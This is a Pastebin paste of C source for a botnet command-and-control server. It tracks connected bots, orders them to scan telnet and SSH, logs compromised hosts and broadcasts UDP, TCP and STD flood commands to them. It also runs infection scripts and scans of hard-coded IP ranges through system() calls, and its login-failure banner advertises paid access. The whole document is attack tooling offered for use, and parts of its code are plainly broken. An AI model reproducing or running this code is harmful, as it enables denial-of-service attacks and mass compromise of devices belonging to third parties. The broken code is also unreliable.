Advertisement
Guest User

Untitled

a guest
Jan 24th, 2017
115
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 33.82 KB | None | 0 0
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <stdint.h>
  4. #include <inttypes.h>
  5. #include <string.h>
  6. #include <sys/types.h>
  7. #include <sys/socket.h>
  8. #include <netdb.h>
  9. #include <unistd.h>
  10. #include <time.h>
  11. #include <fcntl.h>
  12. #include <sys/epoll.h>
  13. #include <errno.h>
  14. #include <pthread.h>
  15. #include <signal.h>
  16. #include <arpa/inet.h>
  17. #define MAXFDS 1000000
  18. //////////////////////////////////
  19. struct login_info {
  20. char username[20];
  21. char password[20];
  22. };
  23. static struct login_info accounts[10];
  24. struct clientdata_t {
  25. uint32_t ip;
  26. char connected;
  27. } clients[MAXFDS];
  28. struct telnetdata_t {
  29. int connected;
  30. } managements[MAXFDS];
  31. struct args {
  32. int sock;
  33. struct sockaddr_in cli_addr;
  34. };
  35. static volatile FILE *telFD;
  36. static volatile FILE *fileFD;
  37. static volatile int epollFD = 0;
  38. static volatile int listenFD = 0;
  39. static volatile int OperatorsConnected = 0;
  40. static volatile int TELFound = 0;
  41. static volatile int scannerreport;
  42. //////////////////////////////////
  43. int fdgets(unsigned char *buffer, int bufferSize, int fd) {
  44. int total = 0, got = 1;
  45. while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  46. return got;
  47. }
  48. void trim(char *str) {
  49. int i;
  50. int begin = 0;
  51. int end = strlen(str) - 1;
  52. while (isspace(str[begin])) begin++;
  53. while ((end >= begin) && isspace(str[end])) end--;
  54. for (i = begin; i <= end; i++) str[i - begin] = str[i];
  55. str[i - begin] = '\0';
  56. }
  57. static int make_socket_non_blocking (int sfd) {
  58. int flags, s;
  59. flags = fcntl (sfd, F_GETFL, 0);
  60. if (flags == -1) {
  61. perror ("fcntl");
  62. return -1;
  63. }
  64. flags |= O_NONBLOCK;
  65. s = fcntl (sfd, F_SETFL, flags);
  66. if (s == -1) {
  67. perror ("fcntl");
  68. return -1;
  69. }
  70. return 0;
  71. }
  72. static int create_and_bind (char *port) {
  73. struct addrinfo hints;
  74. struct addrinfo *result, *rp;
  75. int s, sfd;
  76. memset (&hints, 0, sizeof (struct addrinfo));
  77. hints.ai_family = AF_UNSPEC; /* Return IPv4 and IPv6 choices */
  78. hints.ai_socktype = SOCK_STREAM; /* We want a TCP socket */
  79. hints.ai_flags = AI_PASSIVE; /* All interfaces */
  80. s = getaddrinfo (NULL, port, &hints, &result);
  81. if (s != 0) {
  82. fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (s));
  83. return -1;
  84. }
  85. for (rp = result; rp != NULL; rp = rp->ai_next) {
  86. sfd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol);
  87. if (sfd == -1) continue;
  88. int yes = 1;
  89. if ( setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1 ) perror("setsockopt");
  90. s = bind (sfd, rp->ai_addr, rp->ai_addrlen);
  91. if (s == 0) {
  92. break;
  93. }
  94. close (sfd);
  95. }
  96. if (rp == NULL) {
  97. fprintf (stderr, "Could not bind\n");
  98. return -1;
  99. }
  100. freeaddrinfo (result);
  101. return sfd;
  102. }
  103. void broadcast(char *msg, int us, char *sender)
  104. {
  105. int sendMGM = 1;
  106. if(strcmp(msg, "PING") == 0) sendMGM = 0;
  107. char *wot = malloc(strlen(msg) + 10);
  108. memset(wot, 0, strlen(msg) + 10);
  109. strcpy(wot, msg);
  110. trim(wot);
  111. time_t rawtime;
  112. struct tm * timeinfo;
  113. time(&rawtime);
  114. timeinfo = localtime(&rawtime);
  115. char *timestamp = asctime(timeinfo);
  116. trim(timestamp);
  117. int i;
  118. for(i = 0; i < MAXFDS; i++)
  119. {
  120. if(i == us || (!clients[i].connected && (sendMGM == 0 || !managements[i].connected))) continue;
  121. if(sendMGM && managements[i].connected)
  122. {
  123. send(i, "\x1b[33m", 5, MSG_NOSIGNAL);
  124. send(i, sender, strlen(sender), MSG_NOSIGNAL);
  125. send(i, ": ", 2, MSG_NOSIGNAL);
  126. }
  127. printf("sent to fd: %d\n", i);
  128. send(i, msg, strlen(msg), MSG_NOSIGNAL);
  129. if(sendMGM && managements[i].connected) send(i, "\r\n\x1b[31m> \x1b[0m", 13, MSG_NOSIGNAL);
  130. else send(i, "\n", 1, MSG_NOSIGNAL);
  131. }
  132. free(wot);
  133. }
  134. void *BotEventLoop(void *useless) {
  135. struct epoll_event event;
  136. struct epoll_event *events;
  137. int s;
  138. events = calloc (MAXFDS, sizeof event);
  139. while (1) {
  140. int n, i;
  141. n = epoll_wait (epollFD, events, MAXFDS, -1);
  142. for (i = 0; i < n; i++) {
  143. if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN))) {
  144. clients[events[i].data.fd].connected = 0;
  145. close(events[i].data.fd);
  146. continue;
  147. }
  148. else if (listenFD == events[i].data.fd) {
  149. while (1) {
  150. struct sockaddr in_addr;
  151. socklen_t in_len;
  152. int infd, ipIndex;
  153.  
  154. in_len = sizeof in_addr;
  155. infd = accept (listenFD, &in_addr, &in_len);
  156. if (infd == -1) {
  157. if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break;
  158. else {
  159. perror ("accept");
  160. break;
  161. }
  162. }
  163.  
  164. clients[infd].ip = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr;
  165. int dup = 0;
  166. for(ipIndex = 0; ipIndex < MAXFDS; ipIndex++) {
  167. if(!clients[ipIndex].connected || ipIndex == infd) continue;
  168. if(clients[ipIndex].ip == clients[infd].ip) {
  169. dup = 1;
  170. break;
  171. }}
  172. if(dup) {
  173. if(send(infd, "!* LOLNOGTFO\n", 13, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  174. close(infd);
  175. continue;
  176. }
  177. s = make_socket_non_blocking (infd);
  178. if (s == -1) { close(infd); break; }
  179. event.data.fd = infd;
  180. event.events = EPOLLIN | EPOLLET;
  181. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, infd, &event);
  182. if (s == -1) {
  183. perror ("epoll_ctl");
  184. close(infd);
  185. break;
  186. }
  187. clients[infd].connected = 1;
  188. send(infd, "!* TELNET_SCAN ON\n", 18, MSG_NOSIGNAL);
  189. send(infd, "!* SSH_SCAN ON\n", 15, MSG_NOSIGNAL);
  190. }
  191. continue;
  192. }
  193. else {
  194. int datafd = events[i].data.fd;
  195. struct clientdata_t *client = &(clients[datafd]);
  196. int done = 0;
  197. client->connected = 1;
  198. while (1) {
  199. ssize_t count;
  200. char buf[2048];
  201. memset(buf, 0, sizeof buf);
  202. while(memset(buf, 0, sizeof buf) && (count = fdgets(buf, sizeof buf, datafd)) > 0) {
  203. if(strstr(buf, "\n") == NULL) { done = 1; break; }
  204. trim(buf);
  205. if(strcmp(buf, "PING") == 0) {
  206. if(send(datafd, "PONG\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; }
  207. continue;
  208. }
  209. if(strstr(buf, "REPORT ") == buf) {
  210. char *line = strstr(buf, "REPORT ") + 7;
  211. fprintf(telFD, "%s\n", line);
  212. fflush(telFD);
  213. TELFound++;
  214. continue;
  215. }
  216. if(strstr(buf, "PROBING") == buf) {
  217. char *line = strstr(buf, "PROBING");
  218. scannerreport = 1;
  219. continue;
  220. }
  221. if(strstr(buf, "REMOVING PROBE") == buf) {
  222. char *line = strstr(buf, "REMOVING PROBE");
  223. scannerreport = 0;
  224. continue;
  225. }
  226. if(strcmp(buf, "PONG") == 0) {
  227. continue;
  228. }
  229. printf("buf: \"%s\"\n", buf);
  230. }
  231. if (count == -1) {
  232. if (errno != EAGAIN) {
  233. done = 1;
  234. }
  235. break;
  236. }
  237. else if (count == 0) {
  238. done = 1;
  239. break;
  240. }
  241. if (done) {
  242. client->connected = 0;
  243. close(datafd);
  244. }}}}}}
  245. unsigned int BotsConnected() {
  246. int i = 0, total = 0;
  247. for(i = 0; i < MAXFDS; i++) {
  248. if(!clients[i].connected) continue;
  249. total++;
  250. }
  251. return total;
  252. }
  253. void *TitleWriter(void *sock) {
  254. int datafd = (int)sock;
  255. char string[2048];
  256. while(1) {
  257. memset(string, 0, 2048);
  258. sprintf(string, "%c]0;Boats: %d | Telnets: %d | Admin(s): %d%c", '\033', BotsConnected(), TELFound, OperatorsConnected, '\007');
  259. if(send(datafd, string, strlen(string), MSG_NOSIGNAL) == -1) return;
  260. sleep(2);
  261. }}
  262. int Find_Login(char *str) {
  263. FILE *fp;
  264. int line_num = 0;
  265. int find_result = 0, find_line=0;
  266. char temp[512];
  267.  
  268. if((fp = fopen("login.txt", "r")) == NULL){
  269. return(-1);
  270. }
  271. while(fgets(temp, 512, fp) != NULL){
  272. if((strstr(temp, str)) != NULL){
  273. find_result++;
  274. find_line = line_num;
  275. }
  276. line_num++;
  277. }
  278. if(fp)
  279. fclose(fp);
  280. if(find_result == 0)return 0;
  281. return find_line;
  282. }
  283. void *BotWorker(void *sock) {
  284. int datafd = (int)sock;
  285. int find_line;
  286. OperatorsConnected++;
  287. pthread_t title;
  288. char buf[2048];
  289. char* username;
  290. char* password;
  291. memset(buf, 0, sizeof buf);
  292. char botnet[2048];
  293. memset(botnet, 0, 2048);
  294. char botcount [2048];
  295. memset(botcount, 0, 2048);
  296. char statuscount [2048];
  297. memset(statuscount, 0, 2048);
  298.  
  299. FILE *fp;
  300. int i=0;
  301. int c;
  302. fp=fopen("login.txt", "r");
  303. while(!feof(fp)) {
  304. c=fgetc(fp);
  305. ++i;
  306. }
  307. int j=0;
  308. rewind(fp);
  309. while(j!=i-1) {
  310. fscanf(fp, "%s %s", accounts[j].username, accounts[j].password);
  311. ++j;
  312. }
  313.  
  314. if(send(datafd, "\x1b[30mUsername:\x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  315. if(fdgets(buf, sizeof buf, datafd) < 1) goto end;
  316. trim(buf);
  317. char* nickstring;
  318. sprintf(accounts[find_line].username, buf);
  319. nickstring = ("%s", buf);
  320. find_line = Find_Login(nickstring);
  321. if(strcmp(nickstring, accounts[find_line].username) == 0){
  322. if(send(datafd, "\x1b[30mPassword:\x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  323. if(fdgets(buf, sizeof buf, datafd) < 1) goto end;
  324. trim(buf);
  325. if(strcmp(buf, accounts[find_line].password) != 0) goto failed;
  326. memset(buf, 0, 2048);
  327. goto Banner;
  328. }
  329. failed:
  330. if(send(datafd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end;
  331. char failed_line1[80];
  332. char ascii_failed_line1 [80];
  333. char ascii_failed_line2 [80];
  334. char ascii_failed_line3 [80];
  335. char ascii_failed_line4 [80];
  336. char ascii_failed_line5 [80];
  337. char ascii_failed_line6 [80];
  338. char ascii_failed_line7 [80];
  339. char ascii_failed_line8 [80];
  340. char ascii_failed_line9 [80];
  341. char ascii_failed_line10 [80];
  342. char ascii_failed_line11 [80];
  343. char ascii_failed_line12 [80];
  344. char ascii_failed_line13 [80];
  345. char ascii_failed_line14 [80];
  346. char ascii_failed_line15 [80];
  347. char ascii_failed_line16 [80];
  348. char ascii_failed_line17 [80];
  349.  
  350. sprintf(ascii_failed_line1, "\x1b[36m / \ \r\n");
  351. sprintf(ascii_failed_line2, "\x1b[36m |\_/| \r\n");
  352. sprintf(ascii_failed_line3, "\x1b[36m |---| \r\n");
  353. sprintf(ascii_failed_line4, "\x1b[36m | | \r\n");
  354. sprintf(ascii_failed_line5, "\x1b[36m | | \r\n");
  355. sprintf(ascii_failed_line6, "\x1b[36m _ |=-=| _ \r\n");
  356. sprintf(ascii_failed_line7, "\x1b[36m _ / \| |/ \ _ \r\n");
  357. sprintf(ascii_failed_line8, "\x1b[36m / \| | | | \ \r\n");
  358. sprintf(ascii_failed_line9, "\x1b[36m| | | | | \ \r\n");
  359. sprintf(ascii_failed_line10, "\x1b[36m| | | | | | \r\n");
  360. sprintf(ascii_failed_line11, "\x1b[36m| - - - - |) ) \r\n");
  361. sprintf(ascii_failed_line12, "\x1b[36m| / \r\n");
  362. sprintf(ascii_failed_line13, "\x1b[36m \ / \r\n");
  363. sprintf(ascii_failed_line14, "\x1b[36m \ / \r\n");
  364. sprintf(ascii_failed_line15, "\x1b[36m \ / \r\n");
  365. sprintf(ascii_failed_line16, "\x1b[36m \ / \r\n");
  366. sprintf(ascii_failed_line17, "\x1b[36m | | \r\n");
  367.  
  368. sprintf(failed_line1, "\r\n\x1b[36m|\x1b[37m-\x1b[36m| \x1b[37mBuy a login from |KiK: GSADex| \x1b[36m|\x1b[37m-\x1b[36m|\r\n");
  369.  
  370. if(send(datafd, ascii_failed_line1, strlen(ascii_failed_line1), MSG_NOSIGNAL) == -1) goto end;
  371. if(send(datafd, ascii_failed_line2, strlen(ascii_failed_line2), MSG_NOSIGNAL) == -1) goto end;
  372. if(send(datafd, ascii_failed_line3, strlen(ascii_failed_line3), MSG_NOSIGNAL) == -1) goto end;
  373. if(send(datafd, ascii_failed_line4, strlen(ascii_failed_line4), MSG_NOSIGNAL) == -1) goto end;
  374. if(send(datafd, ascii_failed_line5, strlen(ascii_failed_line5), MSG_NOSIGNAL) == -1) goto end;
  375. if(send(datafd, ascii_failed_line6, strlen(ascii_failed_line6), MSG_NOSIGNAL) == -1) goto end;
  376. if(send(datafd, ascii_failed_line7, strlen(ascii_failed_line7), MSG_NOSIGNAL) == -1) goto end;
  377. if(send(datafd, ascii_failed_line8, strlen(ascii_failed_line8), MSG_NOSIGNAL) == -1) goto end;
  378. if(send(datafd, ascii_failed_line9, strlen(ascii_failed_line9), MSG_NOSIGNAL) == -1) goto end;
  379. if(send(datafd, ascii_failed_line10, strlen(ascii_failed_line10), MSG_NOSIGNAL) == -1) goto end;
  380. if(send(datafd, ascii_failed_line11, strlen(ascii_failed_line11), MSG_NOSIGNAL) == -1) goto end;
  381. if(send(datafd, ascii_failed_line12, strlen(ascii_failed_line12), MSG_NOSIGNAL) == -1) goto end;
  382. if(send(datafd, ascii_failed_line13, strlen(ascii_failed_line13), MSG_NOSIGNAL) == -1) goto end;
  383. if(send(datafd, ascii_failed_line14, strlen(ascii_failed_line14), MSG_NOSIGNAL) == -1) goto end;
  384. if(send(datafd, ascii_failed_line15, strlen(ascii_failed_line15), MSG_NOSIGNAL) == -1) goto end;
  385. if(send(datafd, ascii_failed_line16, strlen(ascii_failed_line16), MSG_NOSIGNAL) == -1) goto end;
  386. if(send(datafd, ascii_failed_line17, strlen(ascii_failed_line17), MSG_NOSIGNAL) == -1) goto end;
  387.  
  388. if(send(datafd, failed_line1, strlen(failed_line1), MSG_NOSIGNAL) == -1) goto end;
  389. sleep(5);
  390. goto end;
  391.  
  392. Banner:
  393. pthread_create(&title, NULL, &TitleWriter, sock);
  394. char ascii_banner_line1 [5000];
  395. char ascii_banner_line2 [5000];
  396. char ascii_banner_line3 [5000];
  397. char ascii_banner_line4 [5000];
  398. char ascii_banner_line5 [5000];
  399. char ascii_banner_line6 [5000];
  400. char ascii_banner_line7 [5000];
  401. char ascii_banner_line8 [5000];
  402. char ascii_banner_line9 [5000];
  403. char ascii_banner_line10 [5000];
  404.  
  405. char welcome_line [80];
  406. char banner_text_line1 [80];
  407. char banner_text_line2 [80];
  408. char banner_bot_count [2048];
  409. memset(banner_bot_count, 0, 2048);
  410.  
  411. sprintf(ascii_banner_line1, "\x1b[35m _______ __ __ _______ _______ _______ _______ _______ _______ \r\n");
  412. sprintf(ascii_banner_line2, "\x1b[36m _______ __ __ _______ _______ _______ _______ _______ _______ \r\n");
  413. sprintf(ascii_banner_line3, "\x1b[36m | || | | || || || | | || || |\r\n");
  414. sprintf(ascii_banner_line4, "\x1b[36m | ___|| |_| || _ || _____||_ _| | _____|| ___|| |\r\n");
  415. sprintf(ascii_banner_line5, "\x1b[36m | | __ | || | | || |_____ | | | |_____ | |___ | |\r\n");
  416. sprintf(ascii_banner_line6, "\x1b[36m | || || || |_| ||_____ | | | |_____ || ___|| _|\r\n");
  417. sprintf(ascii_banner_line7, "\x1b[36m | |_| || _ || | _____| | | | _____| || |___ | |_ \r\n");
  418. sprintf(ascii_banner_line8, "\x1b[36m |_______||__| |__||_______||_______| |___| |_______||_______||_______|\r\n");
  419. sprintf(ascii_banner_line9, "\x1b[35m _______ __ __ _______ _______ _______ _______ _______ _______ \r\n");
  420. sprintf(ascii_banner_line10, "\x1b[35m \r\n");
  421. sprintf(welcome_line, "\r\n\x1b[36m|+| \x1b[37mBoats: %d \x1b[36m|+| Telnets: %d \x1b[36m|+| \x1b[37mAdmin(s) %d \x1b[36m|+|\r\n", BotsConnected(), TELFound, OperatorsConnected);
  422.  
  423. if(send(datafd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
  424. if(send(datafd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
  425. if(send(datafd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
  426. if(send(datafd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
  427. if(send(datafd, ascii_banner_line5, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end;
  428. if(send(datafd, ascii_banner_line6, strlen(ascii_banner_line6), MSG_NOSIGNAL) == -1) goto end;
  429. if(send(datafd, ascii_banner_line7, strlen(ascii_banner_line7), MSG_NOSIGNAL) == -1) goto end;
  430. if(send(datafd, ascii_banner_line8, strlen(ascii_banner_line8), MSG_NOSIGNAL) == -1) goto end;
  431. if(send(datafd, ascii_banner_line9, strlen(ascii_banner_line9), MSG_NOSIGNAL) == -1) goto end;
  432. if(send(datafd, ascii_banner_line10, strlen(ascii_banner_line10), MSG_NOSIGNAL) == -1) goto end;
  433. if(send(datafd, welcome_line, strlen(welcome_line), MSG_NOSIGNAL) == -1) goto end;
  434. while(1) {
  435. if(send(datafd, banner_bot_count, strlen(banner_bot_count), MSG_NOSIGNAL) == -1) goto end;
  436. if(send(datafd, "\x1b[32m> \x1b[37m", 12, MSG_NOSIGNAL) == -1) goto end;
  437. break;
  438. }
  439. pthread_create(&title, NULL, &TitleWriter, sock);
  440. managements[datafd].connected = 1;
  441.  
  442. while(fdgets(buf, sizeof buf, datafd) > 0)
  443. {
  444.  
  445. if(strstr(buf, "ATTACK"))
  446. {
  447. int choice;
  448.  
  449. char ATTACK_MENU [2048];
  450.  
  451. char UDP_ATTACK [2048];
  452. char UDP_ATTACK_MESSAGE [2048];
  453. char UDP_ATTACK_IP;
  454. char UDP_ATTACK_PORT;
  455. char UDP_ATTACK_SEC;
  456. char UDP_ATTACK_SEND_COMMAND;
  457.  
  458. char TCP_ATTACK [2048];
  459. char TCP_ATTACK_MESSAGE [2048];
  460. char TCP_ATTACK_IP;
  461. char TCP_ATTACK_PORT;
  462. char TCP_ATTACK_SEC;
  463. char TCP_ATTACK_SEND_COMMAND;
  464.  
  465. char STD_ATTACK [2048];
  466. char STD_ATTACK_MESSAGE [2048];
  467. char STD_ATTACK_IP;
  468. char STD_ATTACK_PORT;
  469. char STD_ATTACK_SEC;
  470. char STD_ATTACK_SEND_COMMAND;
  471.  
  472. sprintf(ATTACK_MENU, "[+] ATTACK OPTIONS [+]");
  473. if(send(datafd, ATTACK_MENU, strlen(ATTACK_MENU), MSG_NOSIGNAL) == -1) goto end;
  474. do
  475. {
  476. sprintf(UDP_ATTACK, "[-] 1. UDP ATTACK\r\n");
  477. sprintf(TCP_ATTACK, "[-] 2. TCP ATTACK\r\n");
  478. sprintf(STD_ATTACK, "[-] 3. STD Attack\r\n");
  479.  
  480. if(send(datafd, UDP_ATTACK, strlen(UDP_ATTACK), MSG_NOSIGNAL) == -1) goto end;
  481. if(send(datafd, TCP_ATTACK, strlen(TCP_ATTACK), MSG_NOSIGNAL) == -1) goto end;
  482. if(send(datafd, STD_ATTACK, strlen(STD_ATTACK), MSG_NOSIGNAL) == -1) goto end;
  483. scanf("%d", &choice);
  484.  
  485. switch(choice)
  486. {
  487. case 1:
  488.  
  489. sprintf(UDP_ATTACK_IP, "IP: ");
  490. if(send(datafd, UDP_ATTACK_IP, strlen(UDP_ATTACK_IP), MSG_NOSIGNAL) == -1) goto end;
  491. scanf("%d", &UDP_ATTACK_IP);
  492.  
  493. sprintf(UDP_ATTACK_PORT, "Port: ");
  494. if(send(datafd, UDP_ATTACK_IP, strlen(UDP_ATTACK_IP), MSG_NOSIGNAL) == -1) goto end;
  495. scanf("%d", &UDP_ATTACK_PORT);
  496.  
  497. sprintf("Sec: ", &UDP_ATTACK_SEC);
  498. if(send(datafd, UDP_ATTACK_SEC, strlen(UDP_ATTACK_SEC), MSG_NOSIGNAL) == -1) goto end;
  499. scanf("%d", &UDP_ATTACK_SEC);
  500.  
  501. sprintf(UDP_ATTACK_SEND_COMMAND, "!* UDP %d %d %d 32 0 10", UDP_ATTACK_IP, UDP_ATTACK_PORT, UDP_ATTACK_SEC);
  502. broadcast(UDP_ATTACK_SEND_COMMAND, datafd, "SENT");
  503. if(send(datafd, UDP_ATTACK_SEND_COMMAND, strlen(UDP_ATTACK_SEND_COMMAND), MSG_NOSIGNAL) == -1) goto end;
  504.  
  505. sprintf(UDP_ATTACK_MESSAGE, "UDP Attack Sent!");
  506. if(send(datafd, UDP_ATTACK_MESSAGE, strlen(UDP_ATTACK_MESSAGE), MSG_NOSIGNAL) == -1) goto end;
  507.  
  508. continue;
  509. case 2:
  510.  
  511. sprintf(TCP_ATTACK_IP, "IP: ");
  512. if(send(datafd, TCP_ATTACK_IP, strlen(TCP_ATTACK_IP), MSG_NOSIGNAL) == -1) goto end;
  513. scanf("%d", &TCP_ATTACK_IP);
  514.  
  515. sprintf(TCP_ATTACK_PORT, "Port: ");
  516. if(send(datafd, TCP_ATTACK_PORT, strlen(TCP_ATTACK_PORT), MSG_NOSIGNAL) == -1) goto end;
  517. scanf("%d", &TCP_ATTACK_PORT);
  518.  
  519. sprintf(TCP_ATTACK_SEC, "Sec: ");
  520. if(send(datafd, TCP_ATTACK_SEC, strlen(TCP_ATTACK_SEC), MSG_NOSIGNAL) == -1) goto end;
  521. scanf("%d", &TCP_ATTACK_SEC);
  522.  
  523. sprintf(TCP_ATTACK_SEND_COMMAND, "!* TCP %d %d %d 32 all 0 10", TCP_ATTACK_IP, TCP_ATTACK_PORT, TCP_ATTACK_SEC);
  524. broadcast(TCP_ATTACK_SEND_COMMAND, datafd, "SENT");
  525. if(send(datafd, TCP_ATTACK_SEND_COMMAND, strlen(TCP_ATTACK_SEND_COMMAND), MSG_NOSIGNAL) == -1) goto end;
  526.  
  527. sprintf(TCP_ATTACK_MESSAGE, "TCP Attack Sent!");
  528. if(send(datafd, TCP_ATTACK_MESSAGE, strlen(TCP_ATTACK_MESSAGE), MSG_NOSIGNAL) == -1) goto end;
  529.  
  530. continue;
  531.  
  532. case 3:
  533.  
  534. sprintf(STD_ATTACK_IP, "IP: ");
  535. if(send(datafd, STD_ATTACK_IP, strlen(STD_ATTACK_IP), MSG_NOSIGNAL) == -1) goto end;
  536. scanf("%d", &STD_ATTACK_IP);
  537.  
  538. sprintf(STD_ATTACK_PORT, "Port: ");
  539. if(send(datafd, STD_ATTACK_PORT, strlen(TCP_ATTACK_PORT), MSG_NOSIGNAL) == -1) goto end;
  540. scanf("%d", &STD_ATTACK_PORT);
  541.  
  542. sprintf(STD_ATTACK_SEND_COMMAND, "!* STD %d %d %d", STD_ATTACK_IP, STD_ATTACK_PORT, STD_ATTACK_SEC);
  543. broadcast(STD_ATTACK_SEND_COMMAND, datafd, "SENT");
  544. if(send(datafd, STD_ATTACK_SEND_COMMAND, strlen(STD_ATTACK_SEND_COMMAND), MSG_NOSIGNAL) == -1) goto end;
  545.  
  546. sprintf(STD_ATTACK_MESSAGE, "STD Attack Sent!");
  547. if(send(datafd, STD_ATTACK_MESSAGE, strlen(STD_ATTACK_MESSAGE), MSG_NOSIGNAL) == -1) goto end;
  548.  
  549. continue;
  550.  
  551.  
  552. }}
  553. while(choice !=3);
  554. }
  555. if(strstr(buf, "BOTS"))
  556. {
  557. sprintf(botcount, "Boats: %d | Admin(s): %d | Telnets: %d |\r\n", BotsConnected(), OperatorsConnected, TELFound);
  558. if(send(datafd, botcount, strlen(botcount), MSG_NOSIGNAL) == -1) return;
  559. continue;
  560. }
  561. if(strstr(buf, "STATS"))
  562. {
  563. sprintf(botcount, "Boats: %d | Admin(s): %d | Telnets: %d | Telnet Status: %d\r\n", BotsConnected(), OperatorsConnected, TELFound, scannerreport);
  564. if(send(datafd, botcount, strlen(botcount), MSG_NOSIGNAL) == -1) return;
  565. continue;
  566. }
  567. if(strstr(buf, "INFECT"))
  568. {
  569. system("perl telnet.pl filtered.txt");
  570. continue;
  571. }
  572. if(strstr(buf, "REINFECT"))
  573. {
  574. system("perl wget.pl filtered_ssh.txt");
  575. continue;
  576. }
  577. if(strstr(buf, "FILTER"))
  578. {
  579. system("sort telnet.txt | uniq -u>>filtered_telnet.txt;sort infected.txt | uniq -u>>filtered_ssh.txt");
  580. continue;
  581. }
  582. if(strstr(buf, "RANGE1"))
  583. {
  584. system("python scan.py 376 B 119.92 1");
  585. continue;
  586. }
  587. if(strstr(buf, "RANGE2"))
  588. {
  589. system("python scan.py 376 B 119.93 1");
  590. continue;
  591. }
  592. if(strstr(buf, "RANGE3")) {
  593. system("python scan.py 376 B 125.25 1");
  594. continue;
  595. }
  596. if(strstr(buf, "RANGE4"))
  597. {
  598. system("python scan.py 376 B 189.39 1");
  599. continue;
  600. }
  601. if(strstr(buf, "RANGE5")) {
  602. system("python scan.py 376 B 125.27 1");
  603. continue;
  604. }
  605. if(strstr(buf, "RANGE6")) {
  606. system("python scan.py 376 B 113.53 1");
  607. continue;
  608. }
  609. if(strstr(buf, "RANGE7"))
  610. {
  611. system("python scan.py 376 B 110.227 1");
  612. continue;
  613. }
  614. if(strstr(buf, "RANGE8"))
  615. {
  616. system("python scan.py 376 B 185.52 1");
  617. continue;
  618. }
  619. if(strstr(buf, "RANGE9"))
  620. {
  621. system("python scan.py 376 B 122.1 1");
  622. continue;
  623. }
  624. if(strstr(buf, "RANGE10"))
  625. {
  626. system("python scan.py 376 B 112.3 1");
  627. continue;
  628. }
  629. if(strstr(buf, "RANGE11"))
  630. {
  631. system("python scan.py 376 B 101.102");
  632. continue;
  633. }
  634. if(strstr(buf, "VULN"))
  635. {
  636. system("perl wget.pl vuln.txt");
  637. continue;
  638. }
  639. if(strstr(buf, "VULN2"))
  640. {
  641. system("perl wget.pl vuln2.txt");
  642. continue;
  643. }
  644. if(strstr(buf, "VULN3"))
  645. {
  646. system("perl wget.pl vuln3.txt");
  647. continue;
  648. }
  649. if(strstr(buf, "VULN4"))
  650. {
  651. system("perl wget.pl vuln4.txt");
  652. continue;
  653. }
  654. if(strstr(buf, "VULN5"))
  655. {
  656. system("perl wget.pl vuln5.txt");
  657. continue;
  658. }
  659. if(strstr(buf, "TELNET1"))
  660. {
  661. system("perl telnet.pl vuln1.txt");
  662. continue;
  663. }
  664. if(strstr(buf, "TELNET2"))
  665. {
  666. system("perl telnet.pl vuln2.txt");
  667. continue;
  668. }
  669. if(strstr(buf, "TELNET3"))
  670. {
  671. system("perl telnet.pl vuln3.txt");
  672. continue;
  673. }
  674. if(strstr(buf, "STOP"))
  675. {
  676. system("killall -9 python");
  677. continue;
  678. }/*OTHER COMMANDS*/
  679. if(strstr(buf, "HELP"))
  680. {
  681. pthread_create(&title, NULL, &TitleWriter, sock);
  682. char helpline1 [80];
  683. char helpline2 [80];
  684. char helpline3 [80];
  685. char helpline4 [80];
  686. char helpline5 [80];
  687. char helpline6 [80];
  688. char helpline7 [80];
  689. char helpline8 [80];
  690. char helpline9 [80];
  691. char helpline10 [80];
  692. char helpline11 [80];
  693. char helpline12 [80];
  694. char helpline13 [80];
  695. char helpline14 [80];
  696. char helpline15 [80];
  697. char helpline16 [80];
  698. char helpline17 [80];
  699. char helpline18 [80];
  700. char helpline19 [80];
  701. char helpline20 [80];
  702. char helpline21 [80];
  703. char helpline22 [80];
  704. char helpline23 [80];
  705. char helpline24 [80];
  706. char helpline25 [80];
  707.  
  708.  
  709.  
  710. sprintf(helpline1, "\x1b[36m[\x1b[34m+\x1b[36m]\x1b[35mATTACK COMMANDS[\x1b[34m+\x1b[36m]\r\n");
  711.  
  712. sprintf(helpline2, "\x1b[37mUDP \x1b[36m- \x1b[37m!* UDP <target> <port> <sec> 32 0 10\r\n");
  713. sprintf(helpline3, "\x1b[37mTCP \x1b[36m- \x1b[37m!* TCP <target> <port> <sec> 32 all 0 10\r\n");
  714. sprintf(helpline4, "\x1b[37mSTD \x1b[36m- \x1b[37m!* STD <target> <port> <sec>\r\n");
  715. sprintf(helpline5, "\x1b[37mJUNK \x1b[36m- \x1b[37m!* JUNK <target> <port> <sec>\r\n");
  716. sprintf(helpline6, "\x1b[37mHOLD \x1b[36m- \x1b[37m!* HOLD <target> <port> <sec>\r\n");
  717. sprintf(helpline7, "\x1b[37mHTTP \x1b[36m- \x1b[37m!* HTTP <url> <sec>\r\n");
  718. sprintf(helpline8, "\x1b[37mKILL \x1b[36m- \x1b[37m!* KILLATTK\r\n");
  719.  
  720. sprintf(helpline9, "\x1b[36m[\x1b[37m+\x1b[36m]\x1b[35mSCANNING COMMANDS\x1b[36m[\x1b[37m+\x1b[36m] \r\n");
  721.  
  722. sprintf(helpline10, "\x1b[37mVULN \x1b[36m- \x1b[37mVULN 1-5\r\n");
  723. sprintf(helpline11, "\x1b[37mTELNET \x1b[36m- \x1b[37mTELNET 1-3\r\n");
